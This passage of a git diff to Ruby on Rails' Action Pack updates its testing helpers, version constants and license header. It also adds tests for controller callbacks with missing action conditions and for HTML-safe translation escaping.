+      @encoders[mime_name] = new(mime_name, param_encoder, response_parser, content_type)
     end
 
-    register_encoder :json, response_parser: -> body { JSON.parse(body) }
+    register_encoder :html, response_parser: -> body { Rails::Dom::Testing.html_document.parse(body) },
+                            param_encoder: -> param { param },
+                            content_type: Mime[:url_encoded_form].to_s
+    register_encoder :json, response_parser: -> body { JSON.parse(body, object_class: ActiveSupport::HashWithIndifferentAccess) }
   end
 end
diff --git a/actionpack/lib/action_dispatch/testing/test_helpers/page_dump_helper.rb b/actionpack/lib/action_dispatch/testing/test_helpers/page_dump_helper.rb
new file mode 100644
index 0000000000000..5642145c9c5be
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/test_helpers/page_dump_helper.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module TestHelpers
+    module PageDumpHelper
+      class InvalidResponse < StandardError; end
+
+      # Saves the content of response body to a file and tries to open it in your browser.
+      # Launchy must be present in your Gemfile for the page to open automatically.
+      def save_and_open_page(path = html_dump_default_path)
+        save_page(path).tap { |s_path| open_file(s_path) }
+      end
+
+      private
+        def save_page(path = html_dump_default_path)
+          raise InvalidResponse.new("Response is a redirection!") if response.redirection?
+          path = Pathname.new(path)
+          path.dirname.mkpath
+          File.write(path, response.body)
+          path
+        end
+
+        def open_file(path)
+          require "launchy"
+          Launchy.open(path)
+        rescue LoadError
+          warn "File saved to #{path}.\nPlease install the launchy gem to open the file automatically."
+        end
+
+        def html_dump_default_path
+          Rails.root.join("tmp/html_dump", "#{method_name}_#{DateTime.current.to_i}.html").to_s
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/test_process.rb b/actionpack/lib/action_dispatch/testing/test_process.rb
index 0282eb15c3703..a017e8b398fe5 100644
--- a/actionpack/lib/action_dispatch/testing/test_process.rb
+++ b/actionpack/lib/action_dispatch/testing/test_process.rb
@@ -1,32 +1,40 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/middleware/cookies"
 require "action_dispatch/middleware/flash"
 
 module ActionDispatch
   module TestProcess
     module FixtureFile
-      # Shortcut for <tt>Rack::Test::UploadedFile.new(File.join(ActionDispatch::IntegrationTest.fixture_path, path), type)</tt>:
+      # Shortcut for
+      # `Rack::Test::UploadedFile.new(File.join(ActionDispatch::IntegrationTest.file_fixture_path, path), type)`:
       #
-      #   post :change_avatar, avatar: fixture_file_upload('files/spongebob.png', 'image/png')
+      #     post :change_avatar, params: { avatar: file_fixture_upload('david.png', 'image/png') }
       #
-      # To upload binary files on Windows, pass <tt>:binary</tt> as the last parameter.
-      # This will not affect other platforms:
+      # Default fixture files location is `test/fixtures/files`.
       #
-      #   post :change_avatar, avatar: fixture_file_upload('files/spongebob.png', 'image/png', :binary)
-      def fixture_file_upload(path, mime_type = nil, binary = false)
-        if self.class.respond_to?(:fixture_path) && self.class.fixture_path &&
-            !File.exist?(path)
-          path = File.join(self.class.fixture_path, path)
+      # To upload binary files on Windows, pass `:binary` as the last parameter. This
+      # will not affect other platforms:
+      #
+      #     post :change_avatar, params: { avatar: file_fixture_upload('david.png', 'image/png', :binary) }
+      def file_fixture_upload(path, mime_type = nil, binary = false)
+        if self.class.file_fixture_path && !File.exist?(path)
+          path = file_fixture(path)
         end
+
         Rack::Test::UploadedFile.new(path, mime_type, binary)
       end
+      alias_method :fixture_file_upload, :file_fixture_upload
     end
 
     include FixtureFile
 
     def assigns(key = nil)
       raise NoMethodError,
-        "assigns has been extracted to a gem. To continue using it,
-        add `gem 'rails-controller-testing'` to your Gemfile."
+        'assigns has been extracted to a gem. To continue using it,
+        add `gem "rails-controller-testing"` to your Gemfile.'
     end
 
     def session
diff --git a/actionpack/lib/action_dispatch/testing/test_request.rb b/actionpack/lib/action_dispatch/testing/test_request.rb
index 91b25ec1552f8..9609640c08a74 100644
--- a/actionpack/lib/action_dispatch/testing/test_request.rb
+++ b/actionpack/lib/action_dispatch/testing/test_request.rb
@@ -1,15 +1,19 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/hash/indifferent_access"
 require "rack/utils"
 
 module ActionDispatch
   class TestRequest < Request
     DEFAULT_ENV = Rack::MockRequest.env_for("/",
-      "HTTP_HOST"                => "test.host",
-      "REMOTE_ADDR"              => "0.0.0.0",
-      "HTTP_USER_AGENT"          => "Rails Testing",
+      "HTTP_HOST"                => "test.host".b,
+      "REMOTE_ADDR"              => "0.0.0.0".b,
+      "HTTP_USER_AGENT"          => "Rails Testing".b,
     )
 
-    # Create a new test request with default `env` values
+    # Create a new test request with default `env` values.
     def self.create(env = {})
       env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
       env["rack.request.cookie_hash"] ||= {}.with_indifferent_access
@@ -30,7 +34,7 @@ def host=(host)
     end
 
     def port=(number)
-      set_header("SERVER_PORT", number.to_i)
+      set_header("SERVER_PORT", number)
     end
 
     def request_uri=(uri)
diff --git a/actionpack/lib/action_dispatch/testing/test_response.rb b/actionpack/lib/action_dispatch/testing/test_response.rb
index 5c89f9c75e03d..a5adf866e128a 100644
--- a/actionpack/lib/action_dispatch/testing/test_response.rb
+++ b/actionpack/lib/action_dispatch/testing/test_response.rb
@@ -1,10 +1,13 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/testing/request_encoder"
 
 module ActionDispatch
-  # Integration test methods such as ActionDispatch::Integration::Session#get
-  # and ActionDispatch::Integration::Session#post return objects of class
-  # TestResponse, which represent the HTTP response results of the requested
-  # controller actions.
+  # Integration test methods such as Integration::RequestHelpers#get and
+  # Integration::RequestHelpers#post return objects of class TestResponse, which
+  # represent the HTTP response results of the requested controller actions.
   #
   # See Response for more information on controller response objects.
   class TestResponse < Response
@@ -12,22 +15,44 @@ def self.from_response(response)
       new response.status, response.headers, response.body
     end
 
-    def initialize(*) # :nodoc:
-      super
-      @response_parser = RequestEncoder.parser(content_type)
+    # Returns a parsed body depending on the response MIME type. When a parser
+    # corresponding to the MIME type is not found, it returns the raw body.
+    #
+    # #### Examples
+    #     get "/posts"
+    #     response.content_type         # => "text/html; charset=utf-8"
+    #     response.parsed_body.class    # => Nokogiri::HTML5::Document
+    #     response.parsed_body.to_html  # => "<!DOCTYPE html>\n<html>\n..."
+    #
+    #     assert_pattern { response.parsed_body.at("main") => { content: "Hello, world" } }
+    #
+    #     response.parsed_body.at("main") => {name:, content:}
+    #     assert_equal "main", name
+    #     assert_equal "Some main content", content
+    #
+    #     get "/posts.json"
+    #     response.content_type         # => "application/json; charset=utf-8"
+    #     response.parsed_body.class    # => Array
+    #     response.parsed_body          # => [{"id"=>42, "title"=>"Title"},...
+    #
+    #     assert_pattern { response.parsed_body => [{ id: 42 }] }
+    #
+    #     get "/posts/42.json"
+    #     response.content_type         # => "application/json; charset=utf-8"
+    #     response.parsed_body.class    # => ActiveSupport::HashWithIndifferentAccess
+    #     response.parsed_body          # => {"id"=>42, "title"=>"Title"}
+    #
+    #     assert_pattern { response.parsed_body => [{ title: /title/i }] }
+    #
+    #     response.parsed_body => {id:, title:}
+    #     assert_equal 42, id
+    #     assert_equal "Title", title
+    def parsed_body
+      @parsed_body ||= response_parser.call(body)
     end
 
-    # Was the response successful?
-    alias_method :success?, :successful?
-
-    # Was the URL not found?
-    alias_method :missing?, :not_found?
-
-    # Was there a server-side error?
-    alias_method :error?, :server_error?
-
-    def parsed_body
-      @parsed_body ||= @response_parser.call(body)
+    def response_parser
+      @response_parser ||= RequestEncoder.parser(media_type)
     end
   end
 end
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
index eec622e08555b..53cd40d189d1c 100644
--- a/actionpack/lib/action_pack.rb
+++ b/actionpack/lib/action_pack.rb
@@ -1,24 +1,27 @@
+# frozen_string_literal: true
+
 #--
-# Copyright (c) 2004-2017 David Heinemeier Hansson
+# Copyright (c) David Heinemeier Hansson
 #
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
 #
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
 #
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
 #++
 
+# :markup: markdown
+
 require "action_pack/version"
diff --git a/actionpack/lib/action_pack/gem_version.rb b/actionpack/lib/action_pack/gem_version.rb
index d8f86630b1c12..a812190bf5d8e 100644
--- a/actionpack/lib/action_pack/gem_version.rb
+++ b/actionpack/lib/action_pack/gem_version.rb
@@ -1,12 +1,16 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionPack
-  # Returns the version of the currently loaded Action Pack as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Action Pack as a `Gem::Version`.
   def self.gem_version
     Gem::Version.new VERSION::STRING
   end
 
   module VERSION
-    MAJOR = 5
-    MINOR = 1
+    MAJOR = 8
+    MINOR = 2
     TINY  = 0
     PRE   = "alpha"
 
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
index 3d96158431f0b..1d5cfac807cf8 100644
--- a/actionpack/lib/action_pack/version.rb
+++ b/actionpack/lib/action_pack/version.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require_relative "gem_version"
 
 module ActionPack
-  # Returns the version of the currently loaded ActionPack as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Action Pack as a `Gem::Version`.
   def self.version
     gem_version
   end
diff --git a/actionpack/test/abstract/callbacks_test.rb b/actionpack/test/abstract/callbacks_test.rb
index 9c2261bf7678b..88f333cf8ad7d 100644
--- a/actionpack/test/abstract/callbacks_test.rb
+++ b/actionpack/test/abstract/callbacks_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module AbstractController
@@ -42,7 +44,7 @@ def second
       def aroundz
         @aroundz = "FIRST"
         yield
-        @aroundz << "SECOND"
+        @aroundz += "SECOND"
       end
 
       def index
@@ -152,7 +154,49 @@ def setup
 
       test "when :except is specified, an after action is not triggered on that action" do
         @controller.process(:index)
-        assert !@controller.instance_variable_defined?("@authenticated")
+        assert_not @controller.instance_variable_defined?("@authenticated")
+      end
+    end
+
+    class CallbacksWithReusedConditions < ControllerWithCallbacks
+      options = { only: :index }
+      before_action :list, options
+      before_action :authenticate, options
+
+      def index
+        self.response_body = @list.join(", ")
+      end
+
+      def public_data
+        @authenticated = "false"
+        self.response_body = @authenticated
+      end
+
+      private
+        def list
+          @list = ["Hello", "World"]
+        end
+
+        def authenticate
+          @list ||= []
+          @authenticated = "true"
+        end
+    end
+
+    class TestCallbacksWithReusedConditions < ActiveSupport::TestCase
+      def setup
+        @controller = CallbacksWithReusedConditions.new
+      end
+
+      test "when :only is specified, both actions triggered on that action" do
+        @controller.process(:index)
+        assert_equal "Hello, World", @controller.response_body
+        assert_equal "true", @controller.instance_variable_get("@authenticated")
+      end
+
+      test "when :only is specified, both actions are not triggered on other actions" do
+        @controller.process(:public_data)
+        assert_equal "false", @controller.response_body
       end
     end
 
@@ -196,7 +240,7 @@ def setup
 
       test "when :except is specified with an array, an after action is not triggered on that action" do
         @controller.process(:index)
-        assert !@controller.instance_variable_defined?("@authenticated")
+        assert_not @controller.instance_variable_defined?("@authenticated")
       end
     end
 
@@ -264,5 +308,190 @@ class TestCallbacksWithArgs < ActiveSupport::TestCase
         assert_equal "Hello world Howdy!", controller.response_body
       end
     end
+
+    class TestCallbacksWithMissingConditions < ActiveSupport::TestCase
+      class CallbacksWithMissingOnly < ControllerWithCallbacks
+        before_action :callback, only: :showw
+
+        def index
+        end
+
+        def show
+        end
+
+        private
+          def callback
+          end
+      end
+
+      test "callbacks raise exception when their 'only' condition is a missing action" do
+        with_raise_on_missing_callback_actions do
+          controller = CallbacksWithMissingOnly.new
+          assert_raises(AbstractController::ActionNotFound) do
+            controller.process(:index)
+          end
+        end
+      end
+
+      class CallbacksWithMissingOnlyInArray < ControllerWithCallbacks
+        before_action :callback, only: [:index, :showw]
+
+        def index
+        end
+
+        def show
+        end
+
+        private
+          def callback
+          end
+      end
+
+      test "callbacks raise exception when their 'only' array condition contains a missing action" do
+        with_raise_on_missing_callback_actions do
+          controller = CallbacksWithMissingOnlyInArray.new
+          assert_raises(AbstractController::ActionNotFound) do
+            controller.process(:index)
+          end
+        end
+      end
+
+      class CallbacksWithMissingExcept < ControllerWithCallbacks
+        before_action :callback, except: :showw
+
+        def index
+        end
+
+        def show
+        end
+
+        private
+          def callback
+          end
+      end
+
+      test "callbacks raise exception when their 'except' condition is a missing action" do
+        with_raise_on_missing_callback_actions do
+          controller = CallbacksWithMissingExcept.new
+          assert_raises(AbstractController::ActionNotFound) do
+            controller.process(:index)
+          end
+        end
+      end
+
+      class CallbacksWithMissingExceptInArray < ControllerWithCallbacks
+        before_action :callback, except: [:index, :showw]
+
+        def index
+        end
+
+        def show
+        end
+
+        private
+          def callback
+          end
+      end
+
+      test "callbacks raise exception when their 'except' array condition contains a missing action" do
+        with_raise_on_missing_callback_actions do
+          controller = CallbacksWithMissingExceptInArray.new
+          assert_raises(AbstractController::ActionNotFound) do
+            controller.process(:index)
+          end
+        end
+      end
+
+      class MultipleCallbacksWithMissingOnly < ControllerWithCallbacks
+        before_action :callback1, :callback2, ->() { }, only: :showw
+
+        def index
+        end
+
+        def show
+        end
+
+        private
+          def callback1
+          end
+
+          def callback2
+          end
+      end
+
+      test "raised exception message includes the names of callback actions and missing conditional action" do
+        with_raise_on_missing_callback_actions do
+          controller = MultipleCallbacksWithMissingOnly.new
+          error = assert_raises(AbstractController::ActionNotFound) do
+            controller.process(:index)
+          end
+
+          assert_includes error.message, ":callback1"
+          assert_includes error.message, ":callback2"
+          assert_includes error.message, "#<Proc:"
+          assert_includes error.message, "only"
+          assert_includes error.message, "showw"
+        end
+      end
+
+      class BlockCallbackWithMissingOnly < ControllerWithCallbacks
+        before_action only: :showw do
+          # Callback body
+        end
+
+        def index
+        end
+
+        def show
+        end
+      end
+
+      test "raised exception message includes a block callback" do
+        with_raise_on_missing_callback_actions do
+          controller = BlockCallbackWithMissingOnly.new
+          error = assert_raises(AbstractController::ActionNotFound) do
+            controller.process(:index)
+          end
+
+          assert_includes error.message, "#<Proc:"
+        end
+      end
+
+      class CallbacksWithBothOnlyAndExcept < ControllerWithCallbacks
+        before_action :callback, only: [:index, :show], except: :showw
+
+        def index
+        end
+
+        def show
+        end
+
+        private
+          def callback
+          end
+      end
+
+      test "callbacks with both :only and :except options raise an exception with the correct message" do
+        with_raise_on_missing_callback_actions do
+          controller = CallbacksWithBothOnlyAndExcept.new
+          error = assert_raises(AbstractController::ActionNotFound) do
+            controller.process(:index)
+          end
+
+          assert_includes error.message, ":callback"
+          assert_includes error.message, "except"
+          assert_includes error.message, "showw"
+        end
+      end
+
+      private
+        def with_raise_on_missing_callback_actions
+          old_raise_on_missing_callback_actions = ControllerWithCallbacks.raise_on_missing_callback_actions
+          ControllerWithCallbacks.raise_on_missing_callback_actions = true
+          yield
+        ensure
+          ControllerWithCallbacks.raise_on_missing_callback_actions = old_raise_on_missing_callback_actions
+        end
+    end
   end
 end
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
index 1cd35264834ea..9437b3ede59cd 100644
--- a/actionpack/test/abstract/collector_test.rb
+++ b/actionpack/test/abstract/collector_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module AbstractController
@@ -10,8 +12,8 @@ def initialize
         @responses = []
       end
 
-      def custom(mime, *args, &block)
-        @responses << [mime, args, block]
+      def custom(mime, *args, **kwargs, &block)
+        @responses << [mime, args, kwargs, block]
       end
     end
 
@@ -28,7 +30,7 @@ class TestCollector < ActiveSupport::TestCase
       end
 
       test "register mime types on method missing" do
-        AbstractController::Collector.send(:remove_method, :js)
+        AbstractController::Collector.remove_method :js
         begin
           collector = MyCollector.new
           assert_not_respond_to collector, :js
@@ -51,12 +53,12 @@ class TestCollector < ActiveSupport::TestCase
       test "generated methods call custom with arguments received" do
         collector = MyCollector.new
         collector.html
-        collector.text(:foo)
+        collector.text(:foo, bar: :baz)
         collector.js(:bar) { :baz }
-        assert_equal [Mime[:html], [], nil], collector.responses[0]
-        assert_equal [Mime[:text], [:foo], nil], collector.responses[1]
-        assert_equal [Mime[:js], [:bar]], collector.responses[2][0, 2]
-        assert_equal :baz, collector.responses[2][2].call
+        assert_equal [Mime[:html], [], {}, nil], collector.responses[0]
+        assert_equal [Mime[:text], [:foo], { bar: :baz }, nil], collector.responses[1]
+        assert_equal [Mime[:js], [:bar], {}], collector.responses[2][0, 3]
+        assert_equal :baz, collector.responses[2][3].call
       end
     end
   end
diff --git a/actionpack/test/abstract/translation_test.rb b/actionpack/test/abstract/translation_test.rb
index 0c4071df8d356..e178bcf7ca66b 100644
--- a/actionpack/test/abstract/translation_test.rb
+++ b/actionpack/test/abstract/translation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module AbstractController
@@ -18,6 +20,10 @@ def setup
               translation: {
                 index: {
                   foo: "bar",
+                  hello: "<a>Hello World</a>",
+                  hello_html: "<a>Hello World</a>",
+                  interpolated_html: "<a>Hello %{word}</a>",
+                  nested: { html: "<a>nested</a>" }
                 },
                 no_action: "no_action_tr",
               },
@@ -41,12 +47,23 @@ def test_action_controller_base_responds_to_l
         assert_respond_to @controller, :l
       end
 
+      def test_raises_missing_translation_message_with_raise_option
+        assert_raise(I18n::MissingTranslationData) do
+          @controller.t(:"translations.missing", raise: true)
+        end
+      end
+
       def test_lazy_lookup
         @controller.stub :action_name, :index do
           assert_equal "bar", @controller.t(".foo")
         end
       end
 
+      def test_nil_key_lookup
+        default = "foo"
+        assert_equal default, @controller.t(nil, default: default)
+      end
+
       def test_lazy_lookup_with_symbol
         @controller.stub :action_name, :index do
           assert_equal "bar", @controller.t(:'.foo')
@@ -62,6 +79,39 @@ def test_lazy_lookup_fallback
       def test_default_translation
         @controller.stub :action_name, :index do
           assert_equal "bar", @controller.t("one.two")
+          assert_equal "baz", @controller.t(".twoz", default: ["baz", :twoz])
+        end
+      end
+
+      def test_default_translation_as_unsafe_html
+        @controller.stub :action_name, :index do
+          translation = @controller.t(".twoz", default: ["<tag>"])
+          assert_equal "<tag>", translation
+          assert_equal false, translation.html_safe?
+        end
+      end
+
+      def test_default_translation_as_safe_html
+        @controller.stub :action_name, :index do
+          translation = @controller.t(".twoz_html", default: ["<tag>"])
+          assert_equal "&lt;tag&gt;", translation
+          assert_equal true, translation.html_safe?
+        end
+      end
+
+      def test_default_translation_with_raise_as_unsafe_html
+        @controller.stub :action_name, :index do
+          translation = @controller.t(".twoz", raise: true, default: ["<tag>"])
+          assert_equal "<tag>", translation
+          assert_equal false, translation.html_safe?
+        end
+      end
+
+      def test_default_translation_with_raise_as_safe_html
+        @controller.stub :action_name, :index do
+          translation = @controller.t(".twoz_html", raise: true, default: ["<tag>"])
+          assert_equal "&lt;tag&gt;", translation
+          assert_equal true, translation.html_safe?
         end
       end
 
@@ -71,6 +121,62 @@ def test_localize
           assert_equal expected, @controller.l(time)
         end
       end
+
+      def test_translate_does_not_mark_plain_text_as_safe_html
+        @controller.stub :action_name, :index do
+          translation = @controller.t(".hello")
+          assert_equal "<a>Hello World</a>", translation
+          assert_equal false, translation.html_safe?
+        end
+      end
+
+      def test_translate_marks_translations_with_a_html_suffix_as_safe_html
+        @controller.stub :action_name, :index do
+          translation = @controller.t(".hello_html")
+          assert_equal "<a>Hello World</a>", translation
+          assert_equal true, translation.html_safe?
+        end
+      end
+
+      def test_translate_marks_translation_with_nested_html_key
+        @controller.stub :action_name, :index do
+          translation = @controller.t(".nested.html")
+          assert_equal "<a>nested</a>", translation
+          assert_equal true, translation.html_safe?
+        end
+      end
+
+      def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
+        word_struct = Struct.new(:to_s)
+        @controller.stub :action_name, :index do
+          translation = @controller.t(".interpolated_html", word: "<World>")
+          assert_equal "<a>Hello &lt;World&gt;</a>", translation
+          assert_equal true, translation.html_safe?
+
+          translation = @controller.t(".interpolated_html", word: word_struct.new("<World>"))
+          assert_equal "<a>Hello &lt;World&gt;</a>", translation
+          assert_equal true, translation.html_safe?
+        end
+      end
+
+      def test_translate_marks_translation_with_missing_html_key_as_safe_html
+        @controller.stub :action_name, :index do
+          translation = @controller.t("<tag>.html")
+          assert_equal false, translation.html_safe?
+          assert_equal "Translation missing: en.<tag>.html", translation
+        end
+      end
+      def test_translate_marks_translation_with_missing_nested_html_key_as_safe_html
+        @controller.stub :action_name, :index do
+          translation = @controller.t(".<tag>.html")
+          assert_equal false, translation.html_safe?
+          assert_equal(<<~MSG.strip, translation)
+            Translation missing. Options considered were:
+            - en.abstract_controller.testing.translation.index.<tag>.html
+            - en.abstract_controller.testing.translation.<tag>.html
+          MSG
+        end
+      end
     end
   end
 end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index 459b0d6c54827..c3376814239df 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -1,6 +1,8 @@
-$:.unshift(File.dirname(__FILE__) + "/lib")
-$:.unshift(File.dirname(__FILE__) + "/fixtures/helpers")
-$:.unshift(File.dirname(__FILE__) + "/fixtures/alternate_helpers")
+# frozen_string_literal: true
+
+require_relative "../../tools/strict_warnings"
+
+$:.unshift File.expand_path("lib", __dir__)
 
 require "active_support/core_ext/kernel/reporting"
 
@@ -11,18 +13,7 @@
   Encoding.default_external = Encoding::UTF_8
 end
 
-require "drb"
-begin
-  require "drb/unix"
-rescue LoadError
-  puts "'drb/unix' is not available"
-end
-
-if ENV["TRAVIS"]
-  PROCESS_COUNT = 0
-else
-  PROCESS_COUNT = (ENV["N"] || 4).to_i
-end
+PROCESS_COUNT = (ENV["MT_CPU"] || 4).to_i
 
 require "active_support/testing/autorun"
 require "abstract_controller"
@@ -33,8 +24,11 @@
 require "action_dispatch"
 require "active_support/dependencies"
 require "active_model"
+require "zeitwerk"
+
+require_relative "support/rack_parsing_override"
 
-require "pp" # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
+ActiveSupport::Cache.format_version = 7.1
 
 module Rails
   class << self
@@ -42,26 +36,40 @@ def env
       @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "test")
     end
 
-    def root; end;
+    def application; end
+
+    def root; end
+  end
+end
+
+module ActionPackTestSuiteUtils
+  def self.require_helpers(helpers_dirs)
+    Array(helpers_dirs).each do |helpers_dir|
+      Dir.glob("#{helpers_dir}/**/*_helper.rb") do |helper_file|
+        require helper_file
+      end
+    end
   end
 end
 
-ActiveSupport::Dependencies.hook!
+ActionPackTestSuiteUtils.require_helpers("#{__dir__}/fixtures/helpers")
+ActionPackTestSuiteUtils.require_helpers("#{__dir__}/fixtures/alternate_helpers")
 
 Thread.abort_on_exception = true
 
 # Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
+ActionController.deprecator.debug = true
+ActionDispatch.deprecator.debug = true
 
 # Disable available locale checks to avoid warnings running the test suite.
 I18n.enforce_available_locales = false
 
-FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), "fixtures")
+FIXTURE_LOAD_PATH = File.join(__dir__, "fixtures")
 
 SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
 
 SharedTestRoutes.draw do
-  ActiveSupport::Deprecation.silence do
+  ActionDispatch.deprecator.silence do
     get ":controller(/:action)"
   end
 end
@@ -69,7 +77,10 @@ def root; end;
 module ActionDispatch
   module SharedRoutes
     def before_setup
-      @routes = SharedTestRoutes
+      @routes = Routing::RouteSet.new
+      ActionDispatch.deprecator.silence do
+        @routes.draw { get ":controller(/:action)" }
+      end
       super
     end
   end
@@ -78,21 +89,29 @@ def before_setup
 module ActiveSupport
   class TestCase
     if RUBY_ENGINE == "ruby" && PROCESS_COUNT > 0
-      parallelize_me!
+      parallelize(workers: PROCESS_COUNT)
     end
   end
 end
 
 class RoutedRackApp
+  class Config < Struct.new(:middleware)
+  end
+
   attr_reader :routes
 
   def initialize(routes, &blk)
     @routes = routes
-    @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
+    @stack = ActionDispatch::MiddlewareStack.new(&blk)
+    @app = @stack.build(@routes)
   end
 
   def call(env)
-    @stack.call(env)
+    @app.call(env)
+  end
+
+  def config
+    Config.new(@stack)
   end
 end
 
@@ -101,6 +120,7 @@ def self.build_app(routes = nil)
     RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware|
       middleware.use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
       middleware.use ActionDispatch::DebugExceptions
+      middleware.use ActionDispatch::ActionableExceptions
       middleware.use ActionDispatch::Callbacks
       middleware.use ActionDispatch::Cookies
       middleware.use ActionDispatch::Flash
@@ -113,7 +133,7 @@ def self.build_app(routes = nil)
   self.app = build_app
 
   app.routes.draw do
-    ActiveSupport::Deprecation.silence do
+    ActionDispatch.deprecator.silence do
       get ":controller(/:action)"
     end
   end
@@ -142,31 +162,14 @@ def self.stub_controllers(config = ActionDispatch::Routing::RouteSet::DEFAULT_CO
     yield DeadEndRoutes.new(config)
   end
 
-  def with_routing(&block)
-    temporary_routes = ActionDispatch::Routing::RouteSet.new
-    old_app, self.class.app = self.class.app, self.class.build_app(temporary_routes)
-    old_routes = SharedTestRoutes
-    silence_warnings { Object.const_set(:SharedTestRoutes, temporary_routes) }
-
-    yield temporary_routes
-  ensure
-    self.class.app = old_app
-    remove!
-    silence_warnings { Object.const_set(:SharedTestRoutes, old_routes) }
-  end
-
   def with_autoload_path(path)
-    path = File.join(File.dirname(__FILE__), "fixtures", path)
-    if ActiveSupport::Dependencies.autoload_paths.include?(path)
+    path = File.join(__dir__, "fixtures", path)
+    Zeitwerk.with_loader do |loader|
+      loader.push_dir(path)
+      loader.setup
       yield
-    else
-      begin
-        ActiveSupport::Dependencies.autoload_paths << path
-        yield
-      ensure
-        ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
-        ActiveSupport::Dependencies.clear
-      end
+    ensure
+      loader.unload
     end
   end
 end
@@ -175,15 +178,15 @@ def with_autoload_path(path)
 class Rack::TestCase < ActionDispatch::IntegrationTest
   def self.testing(klass = nil)
     if klass
-      @testing = "/#{klass.name.underscore}".sub!(/_controller$/, "")
+      @testing = "/#{klass.name.underscore}".delete_suffix("_controller")
     else
       @testing
     end
   end
 
-  def get(thing, *args)
+  def get(thing, *args, **options)
     if thing.is_a?(Symbol)
-      super("#{self.class.testing}/#{thing}", *args)
+      super("#{self.class.testing}/#{thing}", *args, **options)
     else
       super
     end
@@ -230,6 +233,7 @@ def self.test_routes(&block)
       routes = ActionDispatch::Routing::RouteSet.new
       routes.draw(&block)
       include routes.url_helpers
+      routes
     end
   end
 
@@ -310,7 +314,7 @@ def make_set(strict = true)
   end
 
   class TestSet < ActionDispatch::Routing::RouteSet
-    class Request < DelegateClass(ActionDispatch::Request)
+    class Request < ActiveSupport::Delegation::DelegateClass(ActionDispatch::Request)
       def initialize(target, helpers, block, strict)
         super(target)
         @helpers = helpers
@@ -338,7 +342,6 @@ def initialize(block, strict = false)
     end
 
     private
-
       def make_request(env)
         Request.new super, url_helpers, @block, strict
       end
@@ -356,86 +359,160 @@ class ImagesController < ResourcesController; end
 
 require "active_support/testing/method_call_assertions"
 
-class ForkingExecutor
-  class Server
-    include DRb::DRbUndumped
-
-    def initialize
-      @queue = Queue.new
-    end
-
-    def record(reporter, result)
-      reporter.record result
-    end
-
-    def <<(o)
-      o[2] = DRbObject.new(o[2]) if o
-      @queue << o
-    end
-    def pop; @queue.pop; end
-  end
-
-  def initialize(size)
-    @size  = size
-    @queue = Server.new
